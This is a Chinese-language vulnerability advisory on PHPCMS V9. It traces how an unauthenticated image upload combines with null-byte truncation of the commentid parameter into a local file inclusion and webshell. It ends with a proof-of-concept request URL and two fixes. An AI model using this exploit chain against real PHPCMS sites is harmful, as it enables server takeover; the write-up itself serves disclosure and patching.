PHPCMS_V9 /modules/comment/index.php 本地包含漏洞

由于PHPCMSV9文件attachments.php的未验证上传用户权限,可以上传文件(仅图片)。加上其他文件存在可以截断的本地包含漏洞,导致包含任意文件并获取webshell

文件\phpcms\modules\attachment\attachments.php
  1. public function crop_upload() {
  2. if (isset($GLOBALS[“HTTP_RAW_POST_DATA”])) {
  3. $pic = $GLOBALS[“HTTP_RAW_POST_DATA”];
  4. ……
  5. file_put_contents($this->upload_path.$filepath.$new_file, $pic);
通过调用该函数可以上传图片文件,程序最后将上传后的图片详细地址输出给用户

文件\phpcms\modules\comment\index.php
  1. $this->commentid = isset($_GET[‘commentid’]) && trim(urldecode($_GET[‘commentid’])) ? trim(urldecode($_GET[‘commentid’])) : $this->_show_msg(L(‘illegal_parameters’));
  2. $this->commentid = safe_replace($this->commentid);
变量$_GET['commentid']先经过urldecode函数做url解码,再经过安全函数safe_replace过滤。
函数safe_replace在文件\phpcms\libs\functions\ global.func.php
  1. function safe_replace($string) {
  2. $string = str_replace(‘%20’,”,$string);
  3. $string = str_replace(‘%27’,”,$string);
  4. $string = str_replace(‘%2527’,”,$string);
  5. $string = str_replace(‘*’,”,$string);
  6. $string = str_replace(‘”‘,’"’,$string);
  7. $string = str_replace(“‘”,”,$string);
  8. $string = str_replace(‘”‘,”,$string);
  9. $string = str_replace(‘;’,”,$string);
  10. $string = str_replace(‘<‘,’&lt;’,$string);
  11. $string = str_replace(‘>’,’&gt;’,$string);
  12. $string = str_replace(“{“,”,$string);
  13. $string = str_replace(‘}’,”,$string);
  14. $string = str_replace(‘\\’,”,$string);
  15. return $string;
  16. }
变量$_GET['commentid'] 经过函数urldecode解码,可以绕过gpc对特殊字符的过滤。虽然后面经过安全函数safe_replace的过滤,但最终没有过滤\0

在相同文件\phpcms\modules\comment\index.php中,
  1. public function post() {
  2. ……
  3. if (!$data = get_comment_api($this->commentid)) {
  4. $this->_show_msg(L(‘illegal_parameters’));
  5. } else {
  6. $title = $data[‘title’];
  7. $url = $data[‘url’];
  8. unset($data);
  9. }
变量$this->commentid进入到函数get_comment_api中, 

函数定义在文件\phpcms\modules\comment\functions\global.func.php中
  1. function get_comment_api($commentid) {
  2. list($modules, $contentid, $siteid) = id_decode($commentid);
  3. if (empty($modules) || empty($siteid) || empty($contentid)) {
  4. return false;
  5. }
  6. $comment_api = ”;
  7. $module = explode(‘_’, $modules);
  8. $comment_api = pc_base::load_app_class(‘comment_api’, $module[0]);
  9. if (empty($comment_api)) return false;
  10. return $comment_api->get_info($modules, $contentid, $siteid);
  11. }
变量$commentid经过分割,$module[0]进入到函数load_app_class
在文件\phpcms\base.php可以找到load_app_class
  1. public static function load_app_class($classname, $m = ”, $initialize = 1) {
  2. $m = empty($m) && defined(‘ROUTE_M’) ? ROUTE_M : $m;
  3. if (empty($m)) return false;
  4. return self::_load_class($classname, ‘modules’.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.’classes’, $initialize);
  5. }
变量$module[0]进入_load_class函数,代码如下:
  1. private static function _load_class($classname, $path = ”, $initialize = 1) {
  2. static $classes = array();
  3. if (empty($path)) $path = ‘libs’.DIRECTORY_SEPARATOR.’classes’;
  4. $key = md5($path.$classname);
  5. if (isset($classes[$key])) {
  6. if (!empty($classes[$key])) {
  7. return $classes[$key];
  8. } else {
  9. return true;
  10. }
  11. }
  12. if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.’.class.php’)) {
  13. include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.’.class.php’;
产生本地包含漏洞,且变量$classname是可以保留最初的截断00

测试方法:

  1. http://sebug.net/appdir/phpcms/index.php?m=comment&c=index&a=post&commentid=/图片地址%2500_6-1-1
  2. PS:官方demo getshell测试ok

安全建议:

1、过滤变量$_GET[‘commentid’]

2、安全函数safe_replace增加对00字符的过滤

发表评论?

0 条评论。

发表评论